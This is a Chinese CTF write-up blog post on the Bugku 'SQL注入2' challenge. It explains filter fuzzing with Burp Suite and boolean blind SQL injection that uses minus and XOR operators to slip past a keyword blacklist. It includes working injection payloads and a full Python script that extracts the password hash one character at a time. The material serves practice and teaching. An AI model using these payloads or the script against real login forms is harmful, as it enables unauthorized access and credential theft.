Bugku SQL注入2的思考

博客新人,记录学习,若内容中有错误欢迎各位指正。

题目地址:http://123.206.87.240:8007/web2/

题目提示:都过滤了绝望吗?,提示 !,!=,=,+,-,^,%

用burpsuit抓包,再进行fuzz(模糊测试),用字典跑看usename的参数过滤了哪些关键词,其中数值为367的为没有被过滤的,数值为370的是被过滤的。
 
 
然后就一直被卡在这里,没发现报错,也不知道怎么闭合,在网上看看看wp,有几种解题方式,自认为写的较为合理的为一叶飘零师傅的方法。
关键sql语句:select * from users where name=0 ,会输出所有语句

 
  减号没有被过滤,于是想到利用减号闭合
在运算的时候,字符串‘admin’转换成0
 
admin'-1-' 等于-1
admin'-0-' 等于0
 
 
 
 
 
admin'-0-'的时候为显示password error,说明条件为真,admin'-1-'时候为username error,为false,猜测后台构造为:
$sql = select * from users where username=$username;当传入admin'-0-'时sql语句为:select * from users where username=0,正常查询返回所有值。
当传入admin'-1-'时SQL语句为select * from users where username=-1,报错
 
 
构造SQL语句:
取字段中的值进行查询
mid((‘passwd’)from(-1)):d 这时需要取反
 
查询admin中第一个字符a的ascii码
select ascii(mid(('admin')from(1))); 取ASCII码的值时此时又不需要取反了,所以到这一步可以省掉一个 REVERSE()函数
 
脚本编写:
从passwd字段中查询逐个查询字段值的ASCII码值判断,字段值范围缩小到了md5值的范围,i= (1.33)j in '0123456789abcdef'
passwd字段是一叶飘零师傅猜的:
 
payload:
 admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'

若ascii(MID((passwd)from("1")))="+str(ord(0))+"成立为‘真’转换成为数字型1,反之为0,payload转换为admin'-1-' 和 admin'-0-' 形式

通过判断返回内容是否存在username error!!@_@"来确定条件是否为真
编写脚本如下:
#!-*-coding:utf-8-*-
import requests
url = "http://123.206.87.240:8007/web2/login.php"
cookie = {
    'PHPSESSID':'lv6m5u2466f0ja6k8l8f8kehjdq4skhn'
}

password = ""
for i in range(1,33):
    for j in '0123456789abcdef':
        payload = "admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'"
        data = {
            'uname': payload,
            'passwd': '123'
        }
        r = requests.post(url=url,cookies=cookie,data=data)
        #print r.content
        if "username error!!@_@" in r.content:
            password += j
            print password
            break
运行结果:0192023a7bbd73250516f069df18b500,解md5为 admin123
创新方法,使用异或^也能做
提示中也没有过滤异或符号^,联系到刚学的异或注入方法,构造admin^1=0^1=1型式,则0^(ascii(MID(('admin')from("1")))="97") 等价于 0^1=1
 
 
payload可以改成:
0'^(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")^'
拿到密码进去后根据其实输入ls即可得到flag
 
其它解题的方法:dirsearch+ds_store,
 flag就放在当前目录???,菜鸡打扰了!
 
存在文件flag-1,记事本打开即可
 参考文章: https://xz.aliyun.com/t/2583

猜你喜欢

转载自www.cnblogs.com/rainbow7/p/11697444.html